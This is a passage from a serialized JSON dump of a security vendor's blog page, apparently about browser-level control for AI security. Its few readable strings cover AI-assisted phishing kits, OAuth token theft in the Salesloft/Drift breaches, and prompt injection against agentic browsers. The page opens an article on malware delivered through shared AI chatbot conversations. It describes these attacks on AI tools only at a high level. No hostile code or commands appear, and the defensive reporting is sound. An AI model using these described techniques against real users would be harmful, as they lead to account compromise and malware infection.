a":11843,"marks":11844,"value":3250,"nodeType":865},{},[],{"data":11846,"content":11847,"nodeType":866},{},[11848],{"data":11849,"marks":11850,"value":3257,"nodeType":865},{},[],{"data":11852,"content":11853,"nodeType":866},{},[11854],{"data":11855,"marks":11856,"value":3264,"nodeType":865},{},[],{"data":11858,"content":11859,"nodeType":1458},{},[11860],{"data":11861,"marks":11862,"value":3272,"nodeType":865},{},[11863],{"type":961},{"data":11865,"content":11866,"nodeType":866},{},[11867],{"data":11868,"marks":11869,"value":3279,"nodeType":865},{},[],{"data":11871,"content":11872,"nodeType":866},{},[11873,11876,11883],{"data":11874,"marks":11875,"value":873,"nodeType":865},{},[],{"data":11877,"content":11878,"nodeType":882},{"uri":3288},[11879],{"data":11880,"marks":11881,"value":3294,"nodeType":865},{},[11882],{"type":997},{"data":11884,"marks":11885,"value":3298,"nodeType":865},{},[],{"data":11887,"content":11890,"nodeType":925},{"target":11888},{"sys":11889},{"id":3303,"type":922,"linkType":923},[],{"data":11892,"content":11893,"nodeType":866},{},[11894],{"data":11895,"marks":11896,"value":3311,"nodeType":865},{},[],{"data":11898,"content":11901,"nodeType":925},{"target":11899},{"sys":11900},{"id":3316,"type":922,"linkType":923},[],{"data":11903,"content":11906,"nodeType":925},{"target":11904},{"sys":11905},{"id":3322,"type":922,"linkType":923},[],{"data":11908,"content":11909,"nodeType":953},{},[],{"data":11911,"content":11912,"nodeType":963},{},[11913],{"data":11914,"marks":11915,"value":3334,"nodeType":865},{},[11916],{"type":961},{"data":11918,"content":11919,"nodeType":866},{},[11920],{"data":11921,"marks":11922,"value":3341,"nodeType":865},{},[],{"data":11924,"content":11925,"nodeType":866},{},[11926],{"data":11927,"marks":11928,"value":3348,"nodeType":865},{},[],{"data":11930,"content":11931,"nodeType":1049},{},[11932,11945,11958,11971],{"data":11933,"content":11934,"nodeType":1003},{},[11935],{"data":11936,"content":11937,"nodeType":866},{},[11938,11942],{"data":11939,"marks":11940,"value":3362,"nodeType":865},{},[11941],{"type":961},{"data":11943,"marks":11944,"value":3366,"nodeType":865},{},[],{"data":11946,"content":11947,"nodeType":1003},{},[11948],{"data":11949,"content":11950,"nodeType":866},{},[11951,11955],{"data":11952,"marks":11953,"value":3377,"nodeType":865},{},[11954],{"type":961},{"data":11956,"marks":11957,"value":3381,"nodeType":865},{},[],{"data":11959,"content":11960,"nodeType":1003},{},[11961],{"data":11962,"content":11963,"nodeType":866},{},[11964,11968],{"data":11965,"marks":11966,"value":3392,"nodeType":865},{},[11967],{"type":961},{"data":11969,"marks":11970,"value":3396,"nodeType":865},{},[],{"data":11972,"content":11973,"nodeType":1003},{},[11974],{"data":11975,"content":11976,"nodeType":866},{},[11977,11981],{"data":11978,"marks":11979,"value":3407,"nodeType":865},{},[11980],{"type":961},{"data":11982,"marks":11983,"value":3411,"nodeType":865},{},[],{"data":11985,"content":11986,"nodeType":866},{},[11987],{"data":11988,"marks":11989,"value":3418,"nodeType":865},{},[],{"data":11991,"content":11992,"nodeType":1458},{},[11993],{"data":11994,"marks":11995,"value":3425,"nodeType":865},{},[],{"data":11997,"content":11998,"nodeType":866},{},[11999],{"data":12000,"marks":12001,"value":3432,"nodeType":865},{},[],{"data":12003,"content":12004,"nodeType":866},{},[12005],{"data":12006,"marks":12007,"value":3439,"nodeType":865},{},[],{"data":12009,"content":12010,"nodeType":866},{},[12011,12014,12018],{"data":12012,"marks":12013,"value":3446,"nodeType":865},{},[],{"data":12015,"marks":12016,"value":3451,"nodeType":865},{},[12017],{"type":961},{"data":12019,"marks":12020,"value":3455,"nodeType":865},{},[],{"data":12022,"content":12023,"nodeType":866},{},[12024],{"data":12025,"marks":12026,"value":3462,"nodeType":865},{},[],{"data":12028,"content":12029,"nodeType":866},{},[12030],{"data":12031,"marks":12032,"value":3469,"nodeType":865},{},[],{"data":12034,"content":12035,"nodeType":1458},{},[12036],{"data":12037,"marks":12038,"value":3476,"nodeType":865},{},[],{"data":12040,"content":12041,"nodeType":866},{},[12042],{"data":12043,"marks":12044,"value":3483,"nodeType":865},{},[],{"data":12046,"content":12047,"nodeType":866},{},[12048],{"data":12049,"marks":12050,"value":3490,"nodeType":865},{},[],{"data":12052,"content":12053,"nodeType":866},{},[12054],{"data":12055,"marks":12056,"value":3497,"nodeType":865},{},[],{"data":12058,"content":12059,"nodeType":1458},{},[12060],{"data":12061,"marks":12062,"value":3504,"nodeType":865},{},[],{"data":12064,"content":12065,"nodeType":866},{},[12066],{"data":12067,"marks":12068,"value":3511,"nodeType":865},{},[],{"data":12070,"content":12071,"nodeType":866},{},[12072],{"data":12073,"marks":12074,"value":3518,"nodeType":865},{},[],{"data":12076,"content":12077,"nodeType":1458},{},[12078],{"data":12079,"marks":12080,"value":3525,"nodeType":865},{},[],{"data":12082,"content":12083,"nodeType":866},{},[12084],{"data":12085,"marks":12086,"value":3532,"nodeType":865},{},[],{"data":12088,"content":12089,"nodeType":866},{},[12090],{"data":12091,"marks":12092,"value":3539,"nodeType":865},{},[],{"data":12094,"content":12095,"nodeType":866},{},[12096],{"data":12097,"marks":12098,"value":3546,"nodeType":865},{},[],{"data":12100,"content":12101,"nodeType":953},{},[],{"data":12103,"content":12104,"nodeType":963},{},[12105],{"data":12106,"marks":12107,"value":3557,"nodeType":865},{},[12108],{"type":961},{"data":12110,"content":12111,"nodeType":866},{},[12112],{"data":12113,"marks":12114,"value":3564,"nodeType":865},{},[],{"data":12116,"content":12117,"nodeType":866},{},[12118,12121],{"data":12119,"marks":12120,"value":3571,"nodeType":865},{},[],{"data":12122,"marks":12123,"value":3576,"nodeType":865},{},[12124],{"type":961},{"data":12126,"content":12127,"nodeType":866},{},[12128],{"data":12129,"marks":12130,"value":3583,"nodeType":865},{},[],{"data":12132,"content":12133,"nodeType":866},{},[12134],{"data":12135,"marks":12136,"value":3590,"nodeType":865},{},[],{"data":12138,"content":12139,"nodeType":866},{},[12140],{"data":12141,"marks":12142,"value":3597,"nodeType":865},{},[],{"data":12144,"content":12145,"nodeType":1458},{},[12146],{"data":12147,"marks":12148,"value":3604,"nodeType":865},{},[],{"data":12150,"content":12151,"nodeType":1049},{},[12152,12171,12190,12209,12218,12227,12236],{"data":12153,"content":12154,"nodeType":1003},{},[12155],{"data":12156,"content":12157,"nodeType":866},{},[12158,12161,12168],{"data":12159,"marks":12160,"value":3617,"nodeType":865},{},[],{"data":12162,"content":12163,"nodeType":882},{"uri":3620},[12164],{"data":12165,"marks":12166,"value":3626,"nodeType":865},{},[12167],{"type":997},{"data":12169,"marks":12170,"value":3630,"nodeType":865},{},[],{"data":12172,"content":12173,"nodeType":1003},{},[12174],{"data":12175,"content":12176,"nodeType":866},{},[12177,12180,12187],{"data":12178,"marks":12179,"value":3640,"nodeType":865},{},[],{"data":12181,"content":12182,"nodeType":882},{"uri":3643},[12183],{"data":12184,"marks":12185,"value":3649,"nodeType":865},{},[12186],{"type":997},{"data":12188,"marks":12189,"value":3653,"nodeType":865},{},[],{"data":12191,"content":12192,"nodeType":1003},{},[12193],{"data":12194,"content":12195,"nodeType":866},{},[12196,12199,12206],{"data":12197,"marks":12198,"value":21,"nodeType":865},{},[],{"data":12200,"content":12201,"nodeType":882},{"uri":3665},[12202],{"data":12203,"marks":12204,"value":3671,"nodeType":865},{},[12205],{"type":997},{"data":12207,"marks":12208,"value":3675,"nodeType":865},{},[],{"data":12210,"content":12211,"nodeType":1003},{},[12212],{"data":12213,"content":12214,"nodeType":866},{},[12215],{"data":12216,"marks":12217,"value":3685,"nodeType":865},{},[],{"data":12219,"content":12220,"nodeType":1003},{},[12221],{"data":12222,"content":12223,"nodeType":866},{},[12224],{"data":12225,"marks":12226,"value":3695,"nodeType":865},{},[],{"data":12228,"content":12229,"nodeType":1003},{},[12230],{"data":12231,"content":12232,"nodeType":866},{},[12233],{"data":12234,"marks":12235,"value":3705,"nodeType":865},{},[],{"data":12237,"content":12238,"nodeType":1003},{},[12239],{"data":12240,"content":12241,"nodeType":866},{},[12242,12245,12252],{"data":12243,"marks":12244,"value":3715,"nodeType":865},{},[],{"data":12246,"content":12247,"nodeType":882},{"uri":3718},[12248],{"data":12249,"marks":12250,"value":3724,"nodeType":865},{},[12251],{"type":997},{"data":12253,"marks":12254,"value":3728,"nodeType":865},{},[],{"data":12256,"content":12257,"nodeType":866},{},[12258],{"data":12259,"marks":12260,"value":21,"nodeType":865},{},[],{"data":12262,"content":12265,"nodeType":925},{"target":12263},{"sys":12264},{"id":3739,"type":922,"linkType":923},[],{"data":12267,"content":12268,"nodeType":953},{},[],{"data":12270,"content":12271,"nodeType":866},{},[12272,12275,12282],{"data":12273,"marks":12274,"value":3750,"nodeType":865},{},[],{"data":12276,"content":12277,"nodeType":882},{"uri":1728},[12278],{"data":12279,"marks":12280,"value":3758,"nodeType":865},{},[12281],{"type":997},{"data":12283,"marks":12284,"value":1048,"nodeType":865},{},[],{"entries":12286},{"hyperlink":12287,"inline":12288,"block":12289},[],[],[12290,12296,12320,12347,12372,12377,12380,12407,12414,12451],{"sys":12291,"__typename":1747,"title":12292,"caption":12292,"layoutMode":59,"file":12293},{"id":2959},"The browser is the natural control point for both AI-enabled attacks targeting employees and AI tool usage that introduces risk into organizations. ",{"url":12294,"width":1759,"height":12295},"https://images.ctfassets.net/y1cdw1ablpvd/3vtPqgrZRuVxkVKw9sGLor/ce1d265590cfc23848e25b03fb3ed5a2/image4.png",1142,{"sys":12297,"__typename":9270,"content":12298,"name":12319,"title":59},{"id":2983},{"json":12299},{"data":12300,"content":12301,"nodeType":1739},{},[12302],{"data":12303,"content":12304,"nodeType":866},{},[12305,12309,12316],{"data":12306,"marks":12307,"value":12308,"nodeType":865},{},[],"Learn how AI-enabled attacks are making infrastructure-based detection increasingly ineffective in our ",{"data":12310,"content":12311,"nodeType":882},{"uri":9303},[12312],{"data":12313,"marks":12314,"value":12315,"nodeType":865},{},[],"update on the Pyramid of Pain concept for 2026",{"data":12317,"marks":12318,"value":1048,"nodeType":865},{},[],"AI Browser Control IB1",{"sys":12321,"__typename":9270,"content":12322,"name":12346,"title":59},{"id":3055},{"json":12323},{"data":12324,"content":12325,"nodeType":1739},{},[12326],{"data":12327,"content":12328,"nodeType":866},{},[12329,12333,12342],{"data":12330,"marks":12331,"value":12332,"nodeType":865},{},[],"Nearly every phishing toolkit that Push encounters in the wild today displays the fingerprints of AI use. Check out our ",{"data":12334,"content":12336,"nodeType":882},{"uri":12335},"https://pushsecurity.com/blog/inside-criminal-phishing-panel/",[12337],{"data":12338,"marks":12339,"value":12341,"nodeType":865},{},[12340],{"type":997},"recent analysis",{"data":12343,"marks":12344,"value":12345,"nodeType":865},{},[]," of Doko's Panel, a real-time vishing and AiTM kit, for a under-the-hood look at this. ","AI Browser Control IB3",{"sys":12348,"__typename":9270,"content":12349,"name":12371,"title":59},{"id":3076},{"json":12350},{"data":12351,"content":12352,"nodeType":1739},{},[12353],{"data":12354,"content":12355,"nodeType":866},{},[12356,12359,12367],{"data":12357,"marks":12358,"value":3872,"nodeType":865},{},[],{"data":12360,"content":12361,"nodeType":882},{"uri":4011},[12362],{"data":12363,"marks":12364,"value":12366,"nodeType":865},{},[12365],{"type":997},"Spamhaus",{"data":12368,"marks":12369,"value":12370,"nodeType":865},{},[],", 89% of phishing domains are active for fewer than two days, with just 6.5% surviving past 15 days. That means that if you're primarily looking at static indicators, you're already behind. IOC-based detections can't keep up with how quickly attackers can rotate infrastructure.","AI Browser Control IB2",{"sys":12373,"__typename":1747,"title":12374,"caption":12375,"layoutMode":59,"file":12376},{"id":3149},"LLMShare example","The recent LLMShare campaign shows how attackers are abusing AI tools, legitimate pages, and malvertising. ",{"url":5619,"width":1759,"height":5620},{"sys":12378,"__typename":1747,"title":1748,"caption":1749,"layoutMode":59,"file":12379},{"id":921},{"url":1751,"width":1752,"height":1753},{"sys":12381,"__typename":9270,"content":12382,"name":12406,"title":59},{"id":3303},{"json":12383},{"nodeType":1739,"data":12384,"content":12385},{},[12386],{"nodeType":866,"data":12387,"content":12388},{},[12389,12393,12402],{"nodeType":865,"value":12390,"marks":12391,"data":12392},"The Vercel breach isn't an isolated incident. ShinyHunters demonstrated the breadth and scale of ",[],{},{"nodeType":882,"data":12394,"content":12396},{"uri":12395},"https://pushsecurity.com/blog/analyzing-the-instructure-breach/#id-vector-3-oauth-supply-chain-attacks-through-compromised-integrators",[12397],{"nodeType":865,"value":12398,"marks":12399,"data":12401},"OAuth-targeted attacks last year",[12400],{"type":997},{},{"nodeType":865,"value":12403,"marks":12404,"data":12405},", impacting more than 1,000 organizations in targeted campaigns against Salesloft/Drift. Adversaries compromised Salesloft’s GitHub environment, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight.",[],{},"AI Browser Control IB5",{"sys":12408,"__typename":1747,"title":12409,"caption":12409,"layoutMode":59,"file":12410},{"id":3316},"AI tools are the hub of the modern workplace. ",{"url":12411,"width":12412,"height":12413},"https://images.ctfassets.net/y1cdw1ablpvd/7mRgALIClC1R2Cmuu7xKse/cdaf8cbb26a54ad75b7d52a8c92b1f84/Group_737.png",6824,4280,{"sys":12415,"__typename":9270,"content":12416,"name":12450,"title":59},{"id":3322},{"json":12417},{"nodeType":1739,"data":12418,"content":12419},{},[12420,12432,12439],{"nodeType":866,"data":12421,"content":12422},{},[12423,12428],{"nodeType":865,"value":12424,"marks":12425,"data":12427},"A word on prompt injection: ",[12426],{"type":961},{},{"nodeType":865,"value":12429,"marks":12430,"data":12431},"Prompt injection is a serious and structurally difficult to solve problem, and one AI researchers and the security industry are still working out how to defend against. ",[],{},{"nodeType":866,"data":12433,"content":12434},{},[12435],{"nodeType":865,"value":12436,"marks":12437,"data":12438},"High-impact attacks of this kind are still rare in the wild, but the building blocks are all demonstrated and the attack surface is growing as agentic browsers and in-app AI features proliferate. The threat is evolving quickly and detections are still limited, so it pays to start with the controls that hold up regardless of how attacks evolve. ",[],{},{"nodeType":866,"data":12440,"content":12441},{},[12442,12446],{"nodeType":865,"value":12443,"marks":12444,"data":12445},"This starts with k",[],{},{"nodeType":865,"value":12447,"marks":12448,"data":12449},"nowing which AI browsers, extensions, and assistants employees are using, which SaaS apps have AI features enabled, and what OAuth scopes those AIs have been granted. The blast radius of any successful prompt injection is exactly the data and actions those grants permit, so visibility into AI tooling and AI-connected identity is the foundation that any further defense builds on.",[],{},"AI Browser Control IB4",{"sys":12452,"__typename":12453,"title":12454,"arcadeDemoUrl":12455,"playText":12456},{"id":3739},"ArcadeDemo","Secure AI apps demo","https://demo.arcade.software/ibou7WyNSvBX4uRpK25H?embed","2 mins",{"items":12458},[],{},"Why browser visibility and control is key to AI security",{"items":12462},[12463,13113,13918],{"__typename":1788,"sys":12464,"content":12465,"title":11415,"synopsis":11416,"hashTags":59,"publishedDate":11417,"slug":11418,"tagsCollection":13103,"authorsCollection":13109},{"id":10661},{"json":12466},{"data":12467,"content":12468,"nodeType":1739},{},[12469,12484,12489,12495,12501,12504,12511,12526,12541,12547,12552,12558,12563,12569,12576,12582,12597,12622,12627,12632,12639,12645,12660,12684,12709,12715,12720,12727,12733,12743,12749,12781,12786,12819,12850,12855,12858,12865,12871,12876,12882,12888,12893,12899,12905,12927,12930,12937,12943,12950,12956,12962,12978,12984,12989,12995,13002,13008,13023,13029,13044,13047,13054,13060,13066,13072,13075,13081,13087],{"data":12470,"content":12471,"nodeType":866},{},[12472,12475,12481],{"data":12473,"marks":12474,"value":10672,"nodeType":865},{},[],{"data":12476,"content":12477,"nodeType":882},{"uri":8556},[12478],{"data":12479,"marks":12480,"value":10679,"nodeType":865},{},[],{"data":12482,"marks":12483,"value":10683,"nodeType":865},{},[],{"data":12485,"content":12488,"nodeType":925},{"target":12486},{"sys":12487},{"id":10688,"type":922,"linkType":923},[],{"data":12490,"content":12491,"nodeType":866},{},[12492],{"data":12493,"marks":12494,"value":10696,"nodeType":865},{},[],{"data":12496,"content":12497,"nodeType":866},{},[12498],{"data":12499,"marks":12500,"value":10703,"nodeType":865},{},[],{"data":12502,"content":12503,"nodeType":953},{},[],{"data":12505,"content":12506,"nodeType":963},{},[12507],{"data":12508,"marks":12509,"value":10714,"nodeType":865},{},[12510],{"type":961},{"data":12512,"content":12513,"nodeType":866},{},[12514,12517,12523],{"data":12515,"marks":12516,"value":10721,"nodeType":865},{},[],{"data":12518,"content":12519,"nodeType":882},{"uri":10724},[12520],{"data":12521,"marks":12522,"value":8814,"nodeType":865},{},[],{"data":12524,"marks":12525,"value":10732,"nodeType":865},{},[],{"data":12527,"content":12528,"nodeType":866},{},[12529,12532,12538],{"data":12530,"marks":12531,"value":10739,"nodeType":865},{},[],{"data":12533,"content":12534,"nodeType":882},{"uri":10742},[12535],{"data":12536,"marks":12537,"value":10747,"nodeType":865},{},[],{"data":12539,"marks":12540,"value":10751,"nodeType":865},{},[],{"data":12542,"content":12543,"nodeType":866},{},[12544],{"data":12545,"marks":12546,"value":10758,"nodeType":865},{},[],{"data":12548,"content":12551,"nodeType":925},{"target":12549},{"sys":12550},{"id":8570,"type":922,"linkType":923},[],{"data":12553,"content":12554,"nodeType":866},{},[12555],{"data":12556,"marks":12557,"value":10770,"nodeType":865},{},[],{"data":12559,"content":12562,"nodeType":925},{"target":12560},{"sys":12561},{"id":10775,"type":922,"linkType":923},[],{"data":12564,"content":12565,"nodeType":866},{},[12566],{"data":12567,"marks":12568,"value":10783,"nodeType":865},{},[],{"data":12570,"content":12571,"nodeType":1458},{},[12572],{"data":12573,"marks":12574,"value":10791,"nodeType":865},{},[12575],{"type":961},{"data":12577,"content":12578,"nodeType":866},{},[12579],{"data":12580,"marks":12581,"value":10798,"nodeType":865},{},[],{"data":12583,"content":12584,"nodeType":866},{},[12585,12588,12594],{"data":12586,"marks":12587,"value":10805,"nodeType":865},{},[],{"data":12589,"content":12590,"nodeType":882},{"uri":3643},[12591],{"data":12592,"marks":12593,"value":10812,"nodeType":865},{},[],{"data":12595,"marks":12596,"value":10816,"nodeType":865},{},[],{"data":12598,"content":12599,"nodeType":866},{},[12600,12603,12610,12613,12619],{"data":12601,"marks":12602,"value":10823,"nodeType":865},{},[],{"data":12604,"content":12605,"nodeType":882},{"uri":3135},[12606],{"data":12607,"marks":12608,"value":10831,"nodeType":865},{},[12609],{"type":997},{"data":12611,"marks":12612,"value":10835,"nodeType":865},{},[],{"data":12614,"content":12615,"nodeType":882},{"uri":3087},[12616],{"data":12617,"marks":12618,"value":3093,"nodeType":865},{},[],{"data":12620,"marks":12621,"value":10845,"nodeType":865},{},[],{"data":12623,"content":12626,"nodeType":925},{"target":12624},{"sys":12625},{"id":10850,"type":922,"linkType":923},[],{"data":12628,"content":12631,"nodeType":925},{"target":12629},{"sys":12630},{"id":10856,"type":922,"linkType":923},[],{"data":12633,"content":12634,"nodeType":1458},{},[12635],{"data":12636,"marks":12637,"value":10865,"nodeType":865},{},[12638],{"type":961},{"data":12640,"content":12641,"nodeType":866},{},[12642],{"data":12643,"marks":12644,"value":10872,"nodeType":865},{},[],{"data":12646,"content":12647,"nodeType":866},{},[12648,12651,12657],{"data":12649,"marks":12650,"value":10879,"nodeType":865},{},[],{"data":12652,"content":12653,"nodeType":882},{"uri":5636},[12654],{"data":12655,"marks":12656,"value":10886,"nodeType":865},{},[],{"data":12658,"marks":12659,"value":10890,"nodeType":865},{},[],{"data":12661,"content":12662,"nodeType":866},{},[12663,12666,12672,12675,12681],{"data":12664,"marks":12665,"value":10897,"nodeType":865},{},[],{"data":12667,"content":12668,"nodeType":882},{"uri":10900},[12669],{"data":12670,"marks":12671,"value":10905,"nodeType":865},{},[],{"data":12673,"marks":12674,"value":10909,"nodeType":865},{},[],{"data":12676,"content":12677,"nodeType":882},{"uri":1384},[12678],{"data":12679,"marks":12680,"value":10916,"nodeType":865},{},[],{"data":12682,"marks":12683,"value":10920,"nodeType":865},{},[],{"data":12685,"content":12686,"nodeType":866},{},[12687,12690,12696,12699,12706],{"data":12688,"marks":12689,"value":10927,"nodeType":865},{},[],{"data":12691,"content":12692,"nodeType":882},{"uri":10930},[12693],{"data":12694,"marks":12695,"value":10935,"nodeType":865},{},[],{"data":12697,"marks":12698,"value":10939,"nodeType":865},{},[],{"data":12700,"content":12701,"nodeType":882},{"uri":10942},[12702],{"data":12703,"marks":12704,"value":10948,"nodeType":865},{},[12705],{"type":997},{"data":12707,"marks":12708,"value":10952,"nodeType":865},{},[],{"data":12710,"content":12711,"nodeType":866},{},[12712],{"data":12713,"marks":12714,"value":10959,"nodeType":865},{},[],{"data":12716,"content":12719,"nodeType":925},{"target":12717},{"sys":12718},{"id":10964,"type":922,"linkType":923},[],{"data":12721,"content":12722,"nodeType":1458},{},[12723],{"data":12724,"marks":12725,"value":10973,"nodeType":865},{},[12726],{"type":961},{"data":12728,"content":12729,"nodeType":866},{},[12730],{"data":12731,"marks":12732,"value":10980,"nodeType":865},{},[],{"data":12734,"content":12735,"nodeType":866},{},[12736,12740],{"data":12737,"marks":12738,"value":360,"nodeType":865},{},[12739],{"type":961},{"data":12741,"marks":12742,"value":10991,"nodeType":865},{},[],{"data":12744,"content":12745,"nodeType":866},{},[12746],{"data":12747,"marks":12748,"value":10998,"nodeType":865},{},[],{"data":12750,"content":12751,"nodeType":866},{},[12752,12755,12761,12764,12768,12771,12778],{"data":12753,"marks":12754,"value":11005,"nodeType":865},{},[],{"data":12756,"content":12757,"nodeType":882},{"uri":11008},[12758],{"data":12759,"marks":12760,"value":11013,"nodeType":865},{},[],{"data":12762,"marks":12763,"value":11017,"nodeType":865},{},[],{"data":12765,"marks":12766,"value":11022,"nodeType":865},{},[12767],{"type":961},{"data":12769,"marks":12770,"value":11026,"nodeType":865},{},[],{"data":12772,"content":12773,"nodeType":882},{"uri":4236},[12774],{"data":12775,"marks":12776,"value":11034,"nodeType":865},{},[12777],{"type":997},{"data":12779,"marks":12780,"value":10349,"nodeType":865},{},[],{"data":12782,"content":12785,"nodeType":925},{"target":12783},{"sys":12784},{"id":11042,"type":922,"linkType":923},[],{"data":12787,"content":12788,"nodeType":866},{},[12789,12792,12796,12799,12806,12809,12816],{"data":12790,"marks":12791,"value":11050,"nodeType":865},{},[],{"data":12793,"marks":12794,"value":315,"nodeType":865},{},[12795],{"type":961},{"data":12797,"marks":12798,"value":11058,"nodeType":865},{},[],{"data":12800,"content":12801,"nodeType":882},{"uri":11061},[12802],{"data":12803,"marks":12804,"value":11067,"nodeType":865},{},[12805],{"type":997},{"data":12807,"marks":12808,"value":11071,"nodeType":865},{},[],{"data":12810,"content":12811,"nodeType":882},{"uri":10494},[12812],{"data":12813,"marks":12814,"value":11079,"nodeType":865},{},[12815],{"type":997},{"data":12817,"marks":12818,"value":11083,"nodeType":865},{},[],{"data":12820,"content":12821,"nodeType":866},{},[12822,12825,12829,12832,12838,12841,12847],{"data":12823,"marks":12824,"value":11090,"nodeType":865},{},[],{"data":12826,"marks":12827,"value":11095,"nodeType":865},{},[12828],{"type":961},{"data":12830,"marks":12831,"value":11099,"nodeType":865},{},[],{"data":12833,"content":12834,"nodeType":882},{"uri":11102},[12835],{"data":12836,"marks":12837,"value":11107,"nodeType":865},{},[],{"data":12839,"marks":12840,"value":11111,"nodeType":865},{},[],{"data":12842,"content":12843,"nodeType":882},{"uri":3009},[12844],{"data":12845,"marks":12846,"value":11118,"nodeType":865},{},[],{"data":12848,"marks":12849,"value":11122,"nodeType":865},{},[],{"data":12851,"content":12854,"nodeType":925},{"target":12852},{"sys":12853},{"id":11127,"type":922,"linkType":923},[],{"data":12856,"content":12857,"nodeType":953},{},[],{"data":12859,"content":12860,"nodeType":963},{},[12861],{"data":12862,"marks":12863,"value":11139,"nodeType":865},{},[12864],{"type":961},{"data":12866,"content":12867,"nodeType":866},{},[12868],{"data":12869,"marks":12870,"value":11146,"nodeType":865},{},[],{"data":12872,"content":12875,"nodeType":925},{"target":12873},{"sys":12874},{"id":11151,"type":922,"linkType":923},[],{"data":12877,"content":12878,"nodeType":866},{},[12879],{"data":12880,"marks":12881,"value":11159,"nodeType":865},{},[],{"data":12883,"content":12884,"nodeType":866},{},[12885],{"data":12886,"marks":12887,"value":11166,"nodeType":865},{},[],{"data":12889,"content":12892,"nodeType":925},{"target":12890},{"sys":12891},{"id":11171,"type":922,"linkType":923},[],{"data":12894,"content":12895,"nodeType":866},{},[12896],{"data":12897,"marks":12898,"value":11179,"nodeType":865},{},[],{"data":12900,"content":12901,"nodeType":866},{},[12902],{"data":12903,"marks":12904,"value":11186,"nodeType":865},{},[],{"data":12906,"content":12907,"nodeType":11214},{},[12908],{"data":12909,"content":12910,"nodeType":866},{},[12911,12914,12920,12923],{"data":12912,"marks":12913,"value":11196,"nodeType":865},{},[],{"data":12915,"content":12916,"nodeType":882},{"uri":11199},[12917],{"data":12918,"marks":12919,"value":11204,"nodeType":865},{},[],{"data":12921,"marks":12922,"value":11208,"nodeType":865},{},[],{"data":12924,"marks":12925,"value":11213,"nodeType":865},{},[12926],{"type":944},{"data":12928,"content":12929,"nodeType":953},{},[],{"data":12931,"content":12932,"nodeType":963},{},[12933],{"data":12934,"marks":12935,"value":11225,"nodeType":865},{},[12936],{"type":961},{"data":12938,"content":12939,"nodeType":866},{},[12940],{"data":12941,"marks":12942,"value":11232,"nodeType":865},{},[],{"data":12944,"content":12945,"nodeType":1458},{},[12946],{"data":12947,"marks":12948,"value":11240,"nodeType":865},{},[12949],{"type":961},{"data":12951,"content":12952,"nodeType":866},{},[12953],{"data":12954,"marks":12955,"value":11247,"nodeType":865},{},[],{"data":12957,"content":12958,"nodeType":866},{},[12959],{"data":12960,"marks":12961,"value":11254,"nodeType":865},{},[],{"data":12963,"content":12964,"nodeType":866},{},[12965,12968,12975],{"data":12966,"marks":12967,"value":11261,"nodeType":865},{},[],{"data":12969,"content":12970,"nodeType":882},{"uri":5636},[12971],{"data":12972,"marks":12973,"value":11269,"nodeType":865},{},[12974],{"type":997},{"data":12976,"marks":12977,"value":11273,"nodeType":865},{},[],{"data":12979,"content":12980,"nodeType":866},{},[12981],{"data":12982,"marks":12983,"value":11280,"nodeType":865},{},[],{"data":12985,"content":12988,"nodeType":925},{"target":12986},{"sys":12987},{"id":11285,"type":922,"linkType":923},[],{"data":12990,"content":12991,"nodeType":866},{},[12992],{"data":12993,"marks":12994,"value":11293,"nodeType":865},{},[],{"data":12996,"content":12997,"nodeType":1458},{},[12998],{"data":12999,"marks":13000,"value":11301,"nodeType":865},{},[13001],{"type":961},{"data":13003,"content":13004,"nodeType":866},{},[13005],{"data":13006,"marks":13007,"value":11308,"nodeType":865},{},[],{"data":13009,"content":13010,"nodeType":866},{},[13011,13014,13020],{"data":13012,"marks":13013,"value":11315,"nodeType":865},{},[],{"data":13015,"content":13016,"nodeType":882},{"uri":3643},[13017],{"data":13018,"marks":13019,"value":9005,"nodeType":865},{},[],{"data":13021,"marks":13022,"value":11325,"nodeType":865},{},[],{"data":13024,"content":13025,"nodeType":866},{},[13026],{"data":13027,"marks":13028,"value":11332,"nodeType":865},{},[],{"data":13030,"content":13031,"nodeType":866},{},[13032,13035,13041],{"data":13033,"marks":13034,"value":11339,"nodeType":865},{},[],{"data":13036,"content":13037,"nodeType":882},{"uri":11342},[13038],{"data":13039,"marks":13040,"value":11347,"nodeType":865},{},[],{"data":13042,"marks":13043,"value":11351,"nodeType":865},{},[],{"data":13045,"content":13046,"nodeType":953},{},[],{"data":13048,"content":13049,"nodeType":963},{},[13050],{"data":13051,"marks":13052,"value":11362,"nodeType":865},{},[13053],{"type":961},{"data":13055,"content":13056,"nodeType":866},{},[13057],{"data":13058,"marks":13059,"value":11369,"nodeType":865},{},[],{"data":13061,"content":13062,"nodeType":866},{},[13063],{"data":13064,"marks":13065,"value":11376,"nodeType":865},{},[],{"data":13067,"content":13068,"nodeType":866},{},[13069],{"data":13070,"marks":13071,"value":11383,"nodeType":865},{},[],{"data":13073,"content":13074,"nodeType":953},{},[],{"data":13076,"content":13077,"nodeType":866},{},[13078],{"data":13079,"marks":13080,"value":2792,"nodeType":865},{},[],{"data":13082,"content":13083,"nodeType":866},{},[13084],{"data":13085,"marks":13086,"value":1718,"nodeType":865},{},[],{"data":13088,"content":13089,"nodeType":866},{},[13090,13093,13100],{"data":13091,"marks":13092,"value":21,"nodeType":865},{},[],{"data":13094,"content":13095,"nodeType":882},{"uri":1728},[13096],{"data":13097,"marks":13098,"value":10641,"nodeType":865},{},[13099],{"type":997},{"data":13101,"marks":13102,"value":1738,"nodeType":865},{},[],{"items":13104},[13105,13107],{"sys":13106,"name":342},{"id":8410},{"sys":13108,"name":11426},{"id":11425},{"items":13110},[13111],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":13112},{"url":11434},{"__typename":1788,"sys":13114,"content":13116,"title":13900,"synopsis":13901,"hashTags":59,"publishedDate":13902,"slug":13903,"tagsCollection":13904,"authorsCollection":13910},{"id":13115},"Gcg7PGuICrlRcqq1QFXxH",{"json":13117},{"data":13118,"content":13119,"nodeType":1739},{},[13120,13127,13134,13165,13172,13178,13184,13196,13199,13207,13223,13230,13236,13243,13250,13256,13259,13267,13274,13280,13286,13293,13300,13318,13324,13327,13335,13353,13359,13366,13369,13377,13384,13391,13396,13402,13444,13451,13454,13462,13469,13476,13519,13526,13557,13564,13607,13614,13617,13625,13644,13651,13659,13674,13681,13698,13705,13708,13714,13720,13737,13740,13748,13767,13774,13894],{"data":13121,"content":13122,"nodeType":866},{},[13123],{"data":13124,"marks":13125,"value":13126,"nodeType":865},{},[],"Shared conversations on AI chatbot platforms have become the latest delivery mechanism for malware campaigns targeting macOS and Windows users. Attackers create content on platforms like ChatGPT and Claude that appears to offer installation guidance or service updates, then drive traffic to it via search engine results in the form of malvertising and SEO poisoning.  